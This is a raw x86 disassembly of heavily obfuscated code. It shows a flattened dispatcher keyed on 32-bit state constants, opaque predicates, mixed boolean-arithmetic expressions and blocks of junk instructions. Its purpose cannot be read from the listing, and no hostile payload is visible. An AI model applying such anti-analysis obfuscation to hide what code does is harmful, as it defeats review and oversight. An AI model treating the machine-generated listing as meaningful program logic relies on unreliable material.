cmp eax, 0x87c1c46a
je 0x40c469
cmp eax, 0x884d5bcb
jne 0x4021f0
movzx eax, word [ebp - 0xea]
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x8490
mov edx, ecx
and edx, 0x2048
and ecx, 0x32cc
or esi, edx
mov edx, eax
and edx, 0x5b27
and eax, 0xcd33
xor esi, 0xffff8490
or eax, ecx
or edx, esi
xor eax, 0xffffcd33
mov esi, edx
not esi
and edx, 0xffff9407
and esi, 0x6bf8
or edx, esi
xor edx, 0xffffff20
or eax, edx
cmp ax, 0xffff
mov eax, 0xbf72469f
setne byte [ebp - 0xa0]
jmp 0x4021f0
cmp eax, 0x443d3c76
jg 0x407a80
cmp eax, 0x42ccbbd3
je 0x40c479
cmp eax, 0x43ea5f3a
je 0x40c5f1
cmp eax, 0x441ad539
jne 0x4021f0
mov eax, dword [0x493584]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x44f0a285
and eax, 0xbb0f5d7a
or ecx, eax
mov eax, ecx
xor eax, 0x4400a005
xor ecx, 0xb00b417a
and ecx, 0xb0fb43fa
and eax, 0x4f04bc05
or eax, ecx
mov esi, eax
mov ecx, eax
xor ecx, 0x4504b000
xor esi, 0xb0fb43fa
xor eax, 0x6cfea8f6
and eax, esi
and ecx, 0x553cb102
and esi, 0xaac34efd
or esi, ecx
mov ecx, esi
xor esi, 0x553cb102
xor ecx, 0xaac34efd
mov edx, esi
or edx, 0x23fa14f3
mov ebx, ecx
and ebx, 0x9801cb00
and esi, 0x4d502c2d
mov edi, edx
and edi, 0x4704209e
or ebx, edi
mov edi, eax
not edi
and eax, 0xb8fbdf61
or edx, edi
and edi, 0x4704209e
or eax, edi
not edx
mov edi, 0xd0c03d9b
xor eax, ebx
or edx, eax
not eax
and eax, 0x23fa14f2
and edx, 0xdc05eb0d
or edx, eax
mov eax, ecx
and eax, 0xb2afd3d2
and ecx, 1
or eax, esi
xor eax, 0x4d502c2c
or ecx, eax
not ecx
or ecx, edx
mov eax, ecx
andn edx, ecx, ecx
not ecx
and eax, 0xa8ea99ff
and ecx, 0x57156600
or eax, ecx
mov ecx, eax
xor ecx, 0x208808d9
xor eax, 0x57156600
mov esi, eax
and esi, 0x8f66b726
and ecx, 0x709948d9
or ecx, esi
mov esi, edx
not esi
and edx, 0x709948d9
or eax, esi
and esi, 0x8f66b726
or edx, esi
not eax
mov esi, 0x3f8e4065
xor edx, ecx
or eax, edx
mov ecx, eax
not ecx
and eax, 0x44a9e921
and ecx, 0xbb5616de
or ecx, eax
mov eax, ecx
xor eax, 0x44a04121
xor ecx, 0x14616de
and ecx, 0x14fbede
and eax, 0xfeb04121
or eax, ecx
xor eax, 0xfeb04121
sete ah
setne al
cmp dword [0x493580], 0xa
setge cl
setl ch
mov edx, ecx
or cl, al
xor dl, al
xor al, ch
and dl, ah
not al
mov ah, dl
and al, ch
xor dl, al
xor ah, 1
xor al, 1
or al, ah
xor al, 1
or al, dl
mov edx, eax
and al, cl
xor cl, 1
xor dl, 1
mov ch, cl
xor ch, dl
and dl, cl
and ch, cl
or dl, al
mov al, ch
xor al, dl
cmovne esi, edi
test dl, dl
mov eax, esi
cmovne eax, edi
test ch, ch
cmove eax, esi
jmp 0x4021f0
cmp eax, 0xe570a66b
jg 0x407bf9
cmp eax, 0xe351e6e1
je 0x40c702
cmp eax, 0xe390e807
je 0x40c793
cmp eax, 0xe3d83ec3
jne 0x4021f0
mov eax, 0x9b4ea69d
jmp 0x4021f0
cmp eax, 0x26fc152f
jg 0x407c2f
cmp eax, 0x263cffdb
je 0x40c9cb
cmp eax, 0x263ec725
je 0x40cae4
cmp eax, 0x26c507cb
jne 0x4021f0
sbb eax, 0x52
bswap edx
not esi
rcr edi, 0xcf
and eax, 0xf2
sbb eax, 1
inc ebx
and eax, 0x47
rol esi, 0x82
dec ebx
bswap ebx
neg esi
bswap eax
not eax
dec edx
sbb eax, 0x8a
and eax, 0xc2
mov ebx, 0x75
mov eax, 0xaa
add esi, 0x4a
dec ebx
imul esi
neg ebx
rol eax, 0x3e
sbb eax, 0x37
rcl edx, 0x64
inc ebx
or ebx, 0xf8
or ebx, 0xd6
dec edi
mov edx, 0x45
imul edx
rcl edi, 0xd0
add esi, 0x85
inc edi
bswap edi
rcl eax, 0xa
not eax
sub eax, 0xc0
mov esi, 0x38
imul eax
ror edi, 0xe0
or edx, 0x3a
neg edx
rcr edx, 0x98
rol edi, 0x2d
or edx, 0xc6
mov esi, 0x79
dec eax
rcl esi, 0x45
dec ebx
or edx, 0xe3
or eax, 0x9d
or eax, 0x2c
neg eax
imul esi
and eax, 0x28
imul edx
dec eax
neg esi
bswap edi
mov edx, 0xb4
imul esi
or edi, 0xb1
rcl edi, 0xfd
sub edi, 0xab
not esi
rcr eax, 0x1b
sbb esi, 0x56
bswap edi
bswap eax
rcr esi, 0xfc
not esi
sub eax, 0x51
ror eax, 0x70
inc edi
rol eax, 0xe4
bswap eax
rcr edx, 0x28
not edi
imul ebx
rcl esi, 0x2c
rol ebx, 0x1e
dec ebx
or eax, 0x4c
ror esi, 0xbd
ror edi, 0x9d
add edx, 0xcb
inc ebx
bswap esi
imul eax
not esi
rcr edx, 0x35
dec eax
dec edi
inc eax
bswap edi
neg eax
sub edx, 0x63
neg ebx
inc esi
not edi
neg edx
rcl edx, 0xa8
ror edx, 0x4a
rcl eax, 0xc4
dec ebx
bswap ebx
neg ebx
imul esi
dec esi
bswap edx
dec eax
and edi, 0
imul esi
rol edx, 0xb9
ror edi, 0xf7
and esi, 0x9a
rol edx, 0x5c
rcl ebx, 0x4e
rcr edi, 0x21
not eax
sbb edx, 0x81
inc eax
bswap edx
rol ebx, 0xc5
or esi, 0x31
mov edx, 0x77
rcl eax, 0x8d
and ebx, 0x41
rcr edx, 0xc0
rcr edi, 0xf9
imul edx
not edx
not edx
sub ebx, 0xf8
rcl edx, 0xba
bswap eax
dec edi
rcl eax, 0x8b
sbb esi, 0x44
neg eax
bswap edx
rcl edx, 0x70
or edx, 0x46
ror ebx, 0x78
dec edi
imul eax
inc eax
ror ebx, 0xe8
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
mov eax, dword [ebp - 0xb8]
mov eax, dword [ebp - 0x14]
mov eax, 0xc1eb35da
jmp 0x4021f0
cmp eax, 0xa219113c
jg 0x407c81
cmp eax, 0xa191b6e5
je 0x40cc8f
cmp eax, 0xa1d0eab8
je 0x40cc9c
cmp eax, 0xa1e71c6f
jne 0x4021f0
mov eax, dword [0x493584]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov esi, ecx
mov edi, ecx
or esi, 0x22000428
and edi, 0xf0a41
or ecx, 1
mov edx, eax
or edx, 0x8150d184
and esi, 0xa350d5ac
and ecx, 0x362a5155
and edx, 0xa350d5ac
or edi, edx
mov edx, eax
and edx, 0x5ca02012
and eax, 0xc9d5aeaa
or edx, esi
or ecx, eax
xor edx, edi
mov esi, edx
not esi
and edx, 0x220f0e68
and esi, 0xddf0f197
or edx, esi
mov eax, edx
not eax
and edx, 0x73ae4769
mov esi, eax
and esi, 0x8c51b896
or edx, esi
mov esi, ecx
xor esi, 0x322a4140
xor ecx, 0xc9d5aeaa
or eax, ecx
and ecx, 0x8c51b896
and esi, 0x73ae4768
or esi, ecx
not eax
xor esi, edx
or eax, esi
mov edx, eax
not edx
mov esi, eax
andn ecx, eax, eax
and esi, 0x23a93702
and edx, 0xdc56c8fd
or edx, esi
mov esi, ecx
not esi
and ecx, 0xdc56c8fd
or eax, esi
and esi, 0x23a93702
or ecx, esi
not eax
mov esi, 0x9caf175b
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xad9cd105
and ecx, 0x52632efa
or eax, ecx
mov ecx, eax
xor ecx, 0x8000101
xor eax, 0x50020eb2
and eax, 0xf59edeb6
and ecx, 0xa612149
or ecx, eax
xor ecx, 0xa612149
sete al
setne ah
cmp dword [0x493580], 0xa
setge cl
setl ch
mov edx, ecx
or ah, ch
xor dl, al
xor al, ch
and al, ch
and cl, dl
mov ch, ah
xor al, 1
xor cl, 1
xor ch, al
or al, ah
mov ah, cl
or cl, dl
xor ah, dl
xor cl, 1
xor al, 1
or cl, ah
or al, ch
mov ah, cl
xor ah, 1
mov dl, ah
and dl, cl
xor ah, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, ah
mov ah, dl
xor ah, 1
mov cl, ah
and cl, dl
xor cl, 1
or cl, dl
xor cl, 1
or cl, ah
mov ah, al
xor ah, dl
or dl, al
xor cl, al
xor dl, 1
mov al, cl
or dl, ah
xor al, dl
test dl, 1
mov edx, 0xe0b7a49f
cmovne edx, esi
test cl, 1
not al
cmovne edx, esi
test al, 1
mov eax, 0xe0b7a49f
jmp 0x412e2d
cmp eax, 0x626086dd
jg 0x407cb2
cmp eax, 0x5e8a05c2
je 0x40cca6
cmp eax, 0x6183a8b0
je 0x40ce81
cmp eax, 0x61c2b3e9
jne 0x4021f0
mov eax, 0xf13ef391
jmp 0x4021f0
cmp eax, 0xc6096bec
jg 0x407d9d
cmp eax, 0xc20b523b
je 0x40cf62
cmp eax, 0xc2eb9014
je 0x40cf77
cmp eax, 0xc458315d
jne 0x4021f0
mov eax, dword [0x493584]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
not edx
and ecx, 0x87d68619
and edx, 0x782979e6
or edx, ecx
mov ecx, edx
mov eax, edx
xor edx, 0x8285066
xor ecx, 0x87d68619
xor eax, 0x87d68618
and eax, ecx
and edx, 0xa3e506e
and ecx, 0xf5c1af91
or ecx, edx
mov edx, eax
not edx
and eax, 0x7a50d84f
mov esi, edx
and esi, 0x85af27b0
or eax, esi
mov esi, ecx
xor esi, 0x70408800
xor ecx, 0xa3e506f
or edx, ecx
and ecx, 0x85af27b0
and esi, 0x7a50d84f
or esi, ecx
not edx
xor esi, eax
or edx, esi
mov esi, 0x6fce8ca9
xor edx, 0xffffffff
sete dl
setne al
cmp dword [0x493580], 0xa
setge cl
setl ah
mov ch, cl
or cl, al
xor ch, al
xor al, ah
not al
and ch, dl
mov edx, ecx
and al, ah
or al, ch
xor al, 1
or dl, al
xor al, cl
mov ecx, edx
xor cl, al
mov ecx, 0x657697f0
cmovne ecx, esi
test al, al
mov esi, 0x657697f0
mov eax, ecx
cmovne eax, esi
jmp 0x40b4c5
cmp eax, 0x169b0f24
jg 0x407ef9
cmp eax, 0x15710ad2
je 0x40d019
cmp eax, 0x159be00a
je 0x40d02f
cmp eax, 0x160ee4d6
jne 0x4021f0
mov ecx, dword [0x493584]
lea eax, [ecx + 1]
imul eax, ecx
not eax
mov esi, eax
or esi, 0x47fda9ba
mov edx, eax
and edx, 0x47fda9ba
mov ecx, esi
not ecx
and esi, 0xb8025644
or ecx, edx
and ecx, 0x47fda9bb
or ecx, esi
mov esi, 0xbbad20c3
mov edx, ecx
not edx
and ecx, 0xe239477a
and edx, 0x1dc6b885
or ecx, edx
xor ecx, 0xe239477a
or ecx, eax
xor ecx, 0xffffffff
setne al
sete ah
cmp dword [0x493580], 0xa
setge cl
setl dl
and cl, ah
and al, dl
or al, cl
mov ecx, edx
or dl, ah
xor al, 1
xor cl, ah
mov ah, al
or al, dl
xor ah, dl
xor al, 1
or al, ah
mov edx, eax
mov ah, al
xor dl, 1
and dl, al
xor dl, 1
xor ah, dl
or dl, al
mov al, cl
xor dl, 1
xor al, 1
or dl, ah
mov ah, al
and ah, cl
xor ah, 1
or ah, cl
xor ah, 1
or ah, al
mov cl, ah
and ah, dl
xor dl, 1
xor cl, 1
and cl, dl
or dl, al
or ah, cl
mov al, dl
mov ecx, 0x82c86696
xor al, ah
test dl, 1
cmovne ecx, esi
test ah, 1
cmove ecx, esi
test al, 1
mov eax, 0x82c86696
cmove ecx, eax
mov eax, ecx
jmp 0x4021f0
cmp eax, 0x96fb8204
jg 0x408087
cmp eax, 0x94b47f9a
je 0x40d042
cmp eax, 0x94e0aca9
je 0x40d057
cmp eax, 0x95af9490
jne 0x4021f0
mov eax, dword [ebp - 0x74]
mov eax, dword [eax]
mov dword [ebp - 0x6c], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x48]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
mov eax, dword [eax + ecx*8 + 8]
mov dword [ebp - 0x148], eax
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax]
mov edx, dword [ebp - 0x48]
mov edx, dword [edx]
lea edx, [edx + edx*4]
add ecx, dword [eax + edx*8 + 0xc]
mov dword [ebp - 0x144], ecx
mov ecx, dword [ebp - 0xdc]
dec edx
dec edx
imul edx
imul ebx
inc edi
or ebx, 0xfb
bswap ebx
and eax, 6
rcr edi, 0xf4
bswap edi
inc ebx
and ebx, 0x1c
not edi
rol ebx, 0x1c
sbb edx, 0x42
imul edi
dec eax
ror ebx, 0x8f
dec eax
imul esi
inc eax
and eax, 0xb
inc edx
rcr edi, 0xae
not esi
rol edx, 0x89
dec eax
or edi, 0xa
sub eax, 0x74
mov ebx, 0x4e
inc edx
and esi, 0x81
not eax
rol edx, 0x5d
bswap esi
and ebx, 0x1c
imul edi
neg ebx
not esi
or eax, 0xb9
inc eax
ror eax, 0xc3
sub edx, 0x10
sub edi, 0x6b
or edi, 0x4c
neg ebx
rol eax, 0xe9
imul edx
or esi, 0xa4
not esi
ror esi, 0xf7
neg esi
mov ebx, 7
ror eax, 0x62
neg eax
neg eax
not ebx
ror edx, 0x38
bswap esi
not ebx
sbb ebx, 0x93
bswap edi
and edx, 0x95
inc edx
add ebx, 0xd6
inc edi
neg edx
imul ebx
mov eax, 0x43
or ebx, 0x97
sbb edi, 0xb0
inc eax
neg eax
and ebx, 0x72
dec esi
or edx, 0x32
and esi, 0xfb
rcl ebx, 0xcd
bswap ebx
inc esi
sub esi, 0x93
bswap ebx
mov eax, 0xf6
dec edx
dec esi
imul esi
not edx
dec ebx
add edi, 0x56
add edi, 0xda
not edi
dec esi
inc esi
ror esi, 0x16
bswap esi
not eax
mov esi, 0xa8
add esi, 0x21
or edx, 0xb5
not edx
neg esi
bswap ebx
dec edi
mov edx, 0x5b
inc eax
rol edi, 0xfa
inc esi
rcr edx, 0x92
dec edx
rol esi, 0x42
mov esi, 0x73
not edx
imul esi
ror edx, 0x73
dec edx
mov esi, 0xb7
inc edx
rol eax, 0x78
sbb esi, 0xf
rcr eax, 0xc4
sbb edx, 0x8a
sub esi, 0x98
neg eax
and eax, 0xa4
inc eax
neg eax
imul esi
rcr eax, 0x6a
dec ebx
rol eax, 0x4c
neg esi
rcr esi, 0x7d
or esi, 0x55
ror esi, 0xea
inc edx
not ebx
sbb esi, 0x14
imul edx
rcl esi, 0x7a
neg edi
rol edx, 0x8b
ror edi, 0xb8
rcl esi, 0x1d
rcl edi, 0x19
mov esi, 0xd5
dec ebx
neg ebx
sbb edx, 0x87
neg ebx
imul edi
mov dword [ebp - 0x1d8], ecx
mov ecx, dword [0x49358c]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x2c602404
mov edx, eax
xor edx, 0x3cee6445
and ecx, 0x108e4041
and edx, eax
or esi, ecx
xor esi, 0x2c602404
or edx, esi
mov ecx, edx
not ecx
and edx, 0x8f2eb8e7
and ecx, 0x70d14718
or edx, ecx
mov esi, edx
xor esi, 0xb3c0dca3
xor edx, 0x4c3f235c
and esi, eax
andn eax, eax, edx
or esi, eax
not esi
or esi, edx
cmp esi, 0xffffffff
mov esi, 0x3a2429e2
sete cl
cmp dword [0x493588], 0xa
setl ah
setge dl
mov al, ah
or ah, cl
xor dl, cl
xor al, cl
mov ecx, edx
or dl, ah
xor cl, ah
xor dl, 1
and al, ah
or dl, cl
xor dl, al
and al, dl
xor al, 1
mov ecx, eax
or al, dl
xor cl, dl
not al
mov edx, 0x631a794e
or al, cl
mov ecx, 0x16d058a3
test al, 1
mov eax, 0x631a794e
cmovne edx, esi
cmovne eax, ecx
mov esi, 0xa1714ad3
nop word [eax + eax]
cmp esi, 0x16d058a2
jg 0x405620
cmp esi, 0xa1714ad3
je 0x40563f
cmp esi, 0xbd855e5a
je 0x405646
cmp esi, 0xc7c95157
jne 0x4055f0
jmp 0x40d06f
cmp esi, 0x16d058a3
je 0x40564a
cmp esi, 0x3a2429e2
je 0x405651
cmp esi, 0x631a794e
jne 0x4055f0
mov esi, 0x3a2429e2
jmp 0x4055f0
mov esi, 0xbd855e5a
jmp 0x4055f0
mov esi, edx
jmp 0x4055f0
mov esi, 0xc7c95157
jmp 0x4055f0
mov esi, eax
jmp 0x4055f0
cmp eax, 0x51d2648a
jg 0x40819d
cmp eax, 0x50beef38
je 0x40d0c1
cmp eax, 0x50f0bb98
je 0x40d0cb
cmp eax, 0x51091df4
jne 0x4021f0
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x11c]
mov dword [eax], ecx
mov eax, 0x53dc1ab8
jmp 0x4021f0
cmp eax, 0xf2f2c60f
jg 0x4081c8
cmp eax, 0xf240a798
je 0x40d0e4
cmp eax, 0xf244feee
je 0x40d154
cmp eax, 0xf2bcf909
jne 0x4021f0
mov eax, dword [ebp - 0x16c]
mov ecx, dword [ebp - 0x168]
cmp ecx, dword [eax + 0x1c]
mov eax, 0xac0cb8c5
mov ecx, 0x242b47b8
cmove eax, ecx
jmp 0x4021f0
cmp eax, 0x380fdf17
jg 0x4081f6
cmp eax, 0x359c5901
je 0x40d15e
cmp eax, 0x3774e647
je 0x40d27b
cmp eax, 0x37c92bb2
jne 0x4021f0
mov eax, dword [ebp - 0x30]
mov ecx, dword [0x493584]
mov eax, dword [eax]
add eax, 2
mov dword [ebp - 0x11c], eax
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0xb5fa3d78
and eax, 0x104c55ce
mov esi, ecx
and esi, 0x4a05c286
or edx, esi
mov esi, edx
xor esi, 0x5ca1570
xor edx, 0x4804c087
and edx, 0xf834e88f
and esi, 0x7cb1770
or esi, edx
mov edx, ecx
or edx, 0xf834e88e
and ecx, 0xefb3aa31
and edx, 0xf834e88f
or eax, ecx
mov ecx, eax
xor edx, esi
xor ecx, 0x104c55ce
xor eax, 0xefb3aa31
mov esi, 0xad6d8303
andn ecx, edx, ecx
and eax, edx
not edx
or eax, ecx
not eax
or eax, edx
xor eax, 0xffffffff
sete ah
setne dl
cmp dword [0x493580], 0xa
mov ch, ah
setl cl
setge al
and dl, cl
xor cl, ah
or ch, al
and cl, al
xor cl, 1
mov dh, cl
or cl, ch
xor dh, ch
mov ch, al
xor cl, 1
xor ch, ah
or cl, dh
and ch, al
and al, ah
or al, dl
xor ch, 1
xor al, 1
mov dl, ch
xor dl, al
or al, ch
xor al, 1
or al, dl
mov edx, ecx
xor al, 1
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x4a535219
cmovne ecx, esi
test al, 1
mov eax, 0x4a535219
jmp 0x412f61
cmp eax, 0xb3ac0ced
jg 0x40823b
cmp eax, 0xb0c040e3
je 0x40d285
cmp eax, 0xb256425d
je 0x40d28f
cmp eax, 0xb29a2cf8
jne 0x4021f0
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
add eax, 6
mov dword [ebp - 0x160], eax
mov eax, 0x35882782
jmp 0x4021f0
cmp eax, 0x6fce8ca9
je 0x40d569
cmp eax, 0x713a5310
je 0x40d573
cmp eax, 0x71d93386
jne 0x4021f0
mov ecx, dword [0x493584]
mov edi, 0x46169b60
lea eax, [ecx + 1]
imul eax, ecx
mov esi, eax
mov ecx, eax
xor ecx, 0x96737bf1
not esi
mov edx, esi
and ecx, eax
and edx, 0x96737bf1
and esi, 0xa36610f4
and eax, 0x5c99ef0b
or ecx, edx
or eax, esi
mov edx, ecx
not edx
and ecx, 0xc024a9b7
and edx, 0x3fdb5648
or ecx, edx
mov edx, ecx
xor edx, 0x2524245
xor ecx, 0xa9a82db8
mov esi, ecx
and esi, 0x7525b1aa
and edx, 0x8ada4e55
or edx, esi
mov esi, eax
xor esi, 0x8984e01
xor eax, 0x212410a0
and eax, 0x7525b1aa
and esi, 0x8ada4e55
or esi, eax
xor esi, edx
xor ecx, esi
test ecx, esi
mov esi, 0x25ef9732
setne dl
sete ah
cmp dword [0x493580], 0xa
mov ch, dl
setl cl
setge al
or dl, cl
and ch, al
and cl, ah
or cl, ch
mov ch, dl
xor cl, 1
or cl, al
or al, ah
xor ch, al
or al, dl
xor cl, 1
xor al, 1
or al, ch
xor al, cl
mov edx, eax
not dl
and dl, cl
test al, 1
mov ecx, 0x46169b60
cmovne ecx, esi
test dl, 1
cmove ecx, edi
cmovne ecx, esi
test al, 1
jmp 0x40d9f2
cmp eax, 0xd797abb0
je 0x40d5a2
cmp eax, 0xd8000255
je 0x40d5cd
cmp eax, 0xda216d63
jne 0x4021f0
mov eax, dword [ebp - 0xc4]
mov eax, 0xf7e472ee
jmp 0x4021f0
cmp eax, 0x2bfa947
je 0x40d6b9
cmp eax, 0x2faf403
je 0x40d8cd
cmp eax, 0x317d5ea
jne 0x4021f0
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x40]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x44]
mov edx, dword [edx]
lea edx, [edx + edx*4]
add eax, dword [ecx + edx*4 + 0x10]
mov ecx, dword [ebp - 0x84]
mov dword [ecx], eax
mov eax, 0x28dda7a8
jmp 0x4021f0
cmp eax, 0x84586f46
je 0x40d9fc
cmp eax, 0x8555df50
je 0x40db7a
cmp eax, 0x85820250
jne 0x4021f0
mov eax, dword [ebp - 0x44]
mov eax, 0x937f61b9
jmp 0x4021f0
cmp eax, 0x3f37940b
je 0x40dc64
cmp eax, 0x3f83c483
je 0x40dd3e
cmp eax, 0x3f8e4065
jne 0x4021f0
mov eax, dword [ebp - 0x100]
mov eax, 0xd0c03d9b
jmp 0x4021f0
cmp eax, 0xdf5e2d91
je 0x40dd48
cmp eax, 0xe0b7a49f
je 0x40dd52
cmp eax, 0xe107e947
jne 0x4021f0
mov ecx, dword [0x493584]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
mov esi, eax
xor esi, 0xcefd6450
not edx
mov ecx, edx
and esi, eax
and ecx, 0xcefd6450
and edx, 0x4295d515
and eax, 0xbd6a2aea
or esi, ecx
or eax, edx
mov ecx, esi
not ecx
and esi, 0x6484386c
and ecx, 0x9b7bc793
or esi, ecx
mov ecx, esi
xor ecx, 0x88511c3d
xor esi, 0x15002282
and esi, 0x37286282
and ecx, 0xc8d79d7d
or ecx, esi
mov esi, ecx
xor esi, 0x40d29405
xor ecx, 0x37286282
mov edx, ecx
and edx, 0xab254bf8
and esi, 0x54dab407
or esi, edx
mov edx, eax
xor edx, 0x144a2002
xor eax, 0x4295d515
or ecx, eax
and eax, 0xab254bf8
and edx, 0x54dab407
or edx, eax
not ecx
xor edx, esi
mov esi, 0x6adba945
or ecx, edx
mov eax, ecx
not eax
and ecx, 0xc51a5b7
and eax, 0xf3ae5a48
or ecx, eax
xor ecx, 0xc51a5b7
sete dl
setne ch
cmp dword [0x493580], 0xa
mov ebx, edx
setge al
setl ah
mov dh, al
or bl, al
and ah, ch
xor dh, dl
xor bl, 1
mov cl, dh
and dh, al
not cl
and cl, al
and al, dl
or al, ah
or cl, bl
or al, dh
xor cl, 1
mov ah, al
mov edx, eax
xor ah, 1
and dl, ah
mov ch, ah
xor dl, 1
xor ch, dl
or dl, ah
xor dl, 1
or dl, ch
xor dl, cl
or cl, al
mov eax, ecx
xor al, dl
test cl, cl
mov ecx, 0x92e65da2
cmovne ecx, esi
test dl, 1
cmove ecx, esi
test al, 1
mov eax, 0x92e65da2
jmp 0x4021e0
cmp eax, 0x21591d43
je 0x40dfd3
cmp eax, 0x220a1065
je 0x40dfdd
cmp eax, 0x240bb0c9
jne 0x4021f0
mov eax, dword [ebp - 0xd0]
mov eax, 0x2cbdbd81
jmp 0x4021f0
cmp eax, 0x9d7e4fd4
je 0x40dffa
cmp eax, 0x9d8ae1e5
je 0x40e013
cmp eax, 0x9f40d300
jne 0x4021f0
mov eax, dword [ebp - 0x54]
mov eax, 0xa4530797
jmp 0x4021f0
cmp eax, 0x59b12aed
je 0x40e029
cmp eax, 0x5a26ebc2
je 0x40e18e
cmp eax, 0x5b11bf37
jne 0x4021f0
mov eax, dword [ebp - 0xd4]
mov ecx, dword [0x493584]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x100a2b10
mov esi, ecx
and esi, 0x2cb1000e
mov edi, ecx
or edi, 0x320100
and ecx, 0xb8f560c2
or edx, esi
and edi, 0xc2365501
mov esi, edx
xor esi, 0x10082a10
xor edx, 0xc2345401
and edx, 0xc2365501
and esi, 0x3c892a1e
or esi, edx
mov edx, eax
and edx, 0x14080e0
and eax, 0x470a9f3d
or edx, edi
or eax, ecx
xor edx, esi
xor eax, 0x470a9f3d
mov esi, edx
not esi
and edx, 0x3baa386
and esi, 0xfc455c79
or edx, esi
mov esi, edx
xor esi, 0x2d018001
xor edx, 0xc04c1402
and edx, 0xd24c1c9a
and esi, 0x2db3e365
or esi, edx
xor esi, 0x2db3e365
or eax, esi
mov esi, 0xccdef69d
mov ecx, eax
not ecx
and eax, 0x4c3b386e
and ecx, 0xb3c4c791
or eax, ecx
xor eax, 0x4c3b386e
setne dl
sete ah
cmp dword [0x493580], 0xa
setl ch
setge al
mov cl, ch
xor ch, ah
and ah, al
or al, dl
and cl, dl
xor al, 1
or cl, ah
or al, ch
mov ah, cl
mov edx, ecx
xor al, 1
xor ah, 1
or al, cl
and dl, ah
xor dl, 1
or dl, ah
or ah, al
xor dl, 1
or dl, cl
mov ecx, 0x9bb49b02
xor dl, al
mov al, dl
xor al, ah
not al
test al, 1
cmovne ecx, esi
test ah, 1
mov eax, 0x9bb49b02
cmovne eax, ecx
jmp 0x412652
cmp eax, 0xc066e3f7
je 0x40e1a9
cmp eax, 0xc075ef4b
je 0x40e1b3
cmp eax, 0xc0d68315
jne 0x4021f0
mov ecx, dword [0x493584]
lea eax, [ecx + 1]
imul eax, ecx
mov esi, eax
not esi
mov edx, eax
xor edx, 0xfffffffe
mov ecx, eax
or ecx, 1
mov edi, ecx
and edx, eax
and edi, 0x482e1c0b
and esi, 0xb7d1e3f4
or esi, edi
mov edi, edx
not edi
and edx, 0xb7d1e3f4
or ecx, edi
and edi, 0x482e1c0b
or edx, edi
not ecx
mov edi, 0xa4d6a041
xor edx, esi
mov esi, 0x5632625a
or ecx, edx
mov edx, ecx
not edx
and ecx, eax
andn eax, eax, edx
or ecx, eax
xor edx, ecx
test edx, ecx
setne ah
cmp dword [0x493580], 0xa
mov ch, ah
setge cl
setl dl
inc ch
mov al, cl
mov dh, ch
and dl, ah
xor al, ch
and ch, cl
or dh, cl
not al
or dl, ch
mov ch, cl
xor dh, 1
and al, cl
or cl, ah
xor ch, ah
xor cl, 1
or al, dh
or cl, ch
xor cl, 1
or cl, dl
mov edx, ecx
mov ah, cl
xor dl, 1
and dl, cl
xor dl, 1
xor ah, dl
or dl, cl
mov ecx, eax
xor dl, 1
xor cl, 1
or dl, ah
mov ah, dl
and dl, cl
xor ah, 1
or cl, ah
and ah, al
or ah, dl
mov al, cl
mov edx, 0xa4d6a041
xor al, ah
test al, 1
cmovne edx, esi
test ah, 1
mov eax, edx
cmovne eax, edi
test cl, 1
cmovne eax, edx
jmp 0x4021f0
cmp eax, 0x10e02799
je 0x40e1bd
cmp eax, 0x122205cc
je 0x40e1e1
cmp eax, 0x12629ad2
jne 0x4021f0
mov eax, 0x8555df50
jmp 0x4021f0
cmp eax, 0x91475369
je 0x40e1eb
cmp eax, 0x915672ec
je 0x40e2b5
cmp eax, 0x9183876b
jne 0x4021f0
mov eax, dword [0x493584]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
mov edx, ecx
not eax
or edx, 1
mov edi, eax
mov esi, edx
and esi, 0xd5d2bc5
and edi, 0xf2a2d43a
and eax, 0xba598a4c
or edi, esi
mov esi, ecx
xor esi, 0xfffffffe
and esi, ecx
and ecx, 0x45a675b3
mov ebx, esi
not ebx
and esi, 0xf2a2d43a
or eax, ecx
or edx, ebx
and ebx, 0xd5d2bc5
or esi, ebx
not edx
xor esi, edi
or edx, esi
mov esi, edx
not esi
and edx, 0xba598a4c
mov edi, esi
and edi, 0x45a675b3
or edx, edi
mov edi, 0x87c1c46a
xor eax, edx
not eax
or eax, esi
mov esi, 0x2d5aefd8
xor eax, 0xffffffff
setne dl
sete al
cmp dword [0x493580], 0xa
mov ecx, edx
setl ah
setge ch
mov dh, ah
and cl, ch
xor dl, ch
and dh, al
and dl, al
xor al, ah
or dh, cl
and al, ah
mov cl, dh
or al, dl
xor cl, ch
mov ah, al
and cl, dh
xor ah, 1
mov edx, ecx
xor dl, 1
and al, dl
or dl, ah
and ah, cl
mov ecx, 0x87c1c46a
or ah, al
mov al, ah
xor al, dl
test ah, ah
cmovne ecx, esi
test dl, dl
cmovne ecx, edi
test al, 1
cmove ecx, esi
mov eax, ecx
jmp 0x4021f0
cmp eax, 0x4af48ffb
je 0x40e2c7
cmp eax, 0x4d8d14ed
je 0x40e319
cmp eax, 0x4da4d69d
jne 0x4021f0
mov eax, dword [0x493584]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
mov edx, ecx
not eax
or edx, 1
mov edi, eax
mov esi, edx
and esi, 0xe67f7067
and edi, 0x19808f98
and eax, 0x985c2084
or edi, esi
mov esi, ecx
